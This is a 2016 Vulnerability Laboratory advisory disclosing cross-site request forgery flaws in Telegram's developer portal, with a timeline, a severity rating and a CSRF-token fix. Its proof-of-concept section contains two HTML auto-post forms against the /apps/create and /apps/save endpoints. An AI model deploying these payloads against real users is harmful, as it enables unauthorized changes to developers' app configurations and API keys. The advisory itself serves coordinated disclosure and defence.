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Telegram (API) - Cross Site Request Forgery Vulnerabilities



Document Title:
===============
Telegram (API) - Cross Site Request Forgery Vulnerabilities


References (Source):
====================
http://www.vulnerability-lab.com/get_content.php?id=1648


Release Date:
=============
2016-01-17


Vulnerability Laboratory ID (VL-ID):
====================================
1648


Common Vulnerability Scoring System:
====================================
3.2


Product & Service Introduction:
===============================
Telegram is a cloud-based instant messaging service that focusses on privacy and multi-platform availability. Telegram clients exist for 
both mobile (Android, iOS, Windows Phone, Ubuntu Touch) and desktop systems (Windows, OS X, Linux). Users can send messages and exchange 
photos, videos, stickers and files of any type up to 1.5 GB in size. Telegram also provides optional end-to-end encrypted messaging with 
self-destruct timers. Telegram is run by Telegram Messenger LLP and backed by Russian entrepreneur Pavel Durov. Its client-side code is 
open-source software, whereas its server-side code is closed-sourced and proprietary. The service also provides APIs to independent developers.

(Copy of the Homepage: https://en.wikipedia.org/wiki/Telegram_%28software%29 )


Abstract Advisory Information:
==============================
An indepndent vulnerability laboratory researcher discovered multiple client-side vulnerabilities and a filter bypass issue in the official Telegram (API) for app developers.


Vulnerability Disclosure Timeline:
==================================
2015-11-17: Researcher Notification & Coordination (Amer Lawrence)
2015-11-18: Vendor Notification (Telegram Security Team)
2016-01-17: Public Disclosure (Vulnerability Laboratory)


Discovery Status:
=================
Published


Affected Product(s):
====================
Telegram Messenger LLP
Product: Telegram (API) - App Developers 2015 Q4


Exploitation Technique:
=======================
Remote


Severity Level:
===============
Medium


Technical Details & Description:
================================
Multiple cross site request forgery web vulnerabilities has been discovered in the official Telegram (API) for app developers.
The vulnerability allows to unauthorized execute application functions in connection with client-side performed malicious requests.

Attackers can start Cross site request forgery attack against the auth mechanism of the telegram api development to inject a 
customized android,ios,... app configuration on any telegram api developer user. By send malicious link contenting an html code 
responsible for these changes without an access token to protect developers from these attacks. The impact of the bug is leaving 
web application without protection of an access token. Thus allows an attacker to perform these type of attacks doing unwanted 
actions in the user settings.

The security risk of the cross site request forgery web vulnerabilities are estimated as medium with a cvss (common vulnerability 
scoring system) count of 3.2. Exploitation of the csrf vulnerabilities requires no privileged iOS system user account and low or 
medium user interaction. Successful exploitation of the vulnerability results in unauthorized execution of system specific 
functions by client-side performed requests to compromise the telegram api dev accounts.


Proof of Concept (PoC):
=======================
The cross site request forgery web vulnerabilities can be exploited by a remote attacker without privileged web-application user account and low or medium user interaction.
For security demonstration or to reproduce the vulnerability follow the provided information and steps below to continue.

PoC: Video
https://vimeo.com/145911184  (password:vuln4safe)


PoC: #1 CSRF for adding android app or any one else as requested ...

<html>
  <body>
    <form action="https://my.telegram.org/apps/create"; method="POST">
      <input type="hidden" name="app_title" value="APP_NAME" />
      <input type="hidden" name="app_shortname" value="SHORT_NAME" />
      <input type="hidden" name="app_url" value="LINK OF USE" />
      <input type="hidden" name="app_platform" value="android" />
      <input type="hidden" name="app_desc" value="good one " />
      <input type="submit" value="CSRF-Add App" />
    </form>
</body>
</html>


PoC: #2 Html code to save the API or changed it ...

<html>
<body>
<form action="https://my.telegram.org/apps/save"; method="POST">
      <input type="hidden" name="app_title" value="APPNAME" />
      <input type="hidden" name="app_shortname" value="SHORTNAME" />
      <input type="hidden" name="app_gcm_api_key" value="API KEY" />
      <input type="submit" value="Save App api-CSRF" />
    </form>
    </body>
    </html>

Note. This CSRF issue is combined by two folloup request to execute successful function with a not expired session by click.


Reference(s):
https://my.telegram.org/apps


Solution - Fix & Patch:
=======================
The vulnerability can be patched by implementation of a secure cookie or access token that protects the important online-service functions.
Setup a csrf token and implement a secure exception to prevent cross site exploitation. Restrict the input and disallow special chars.


Security Risk:
==============
The security risk of the cross site request forgery web vulnerabilities in the offical telegram api for app developers is estimated as medium. (CVSS 3.2)


Credits & Authors:
==================
Lawrence Amer - ( http://www.vulnerability-lab.com/show.php?user=Lawrence%20Amer )


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=========================
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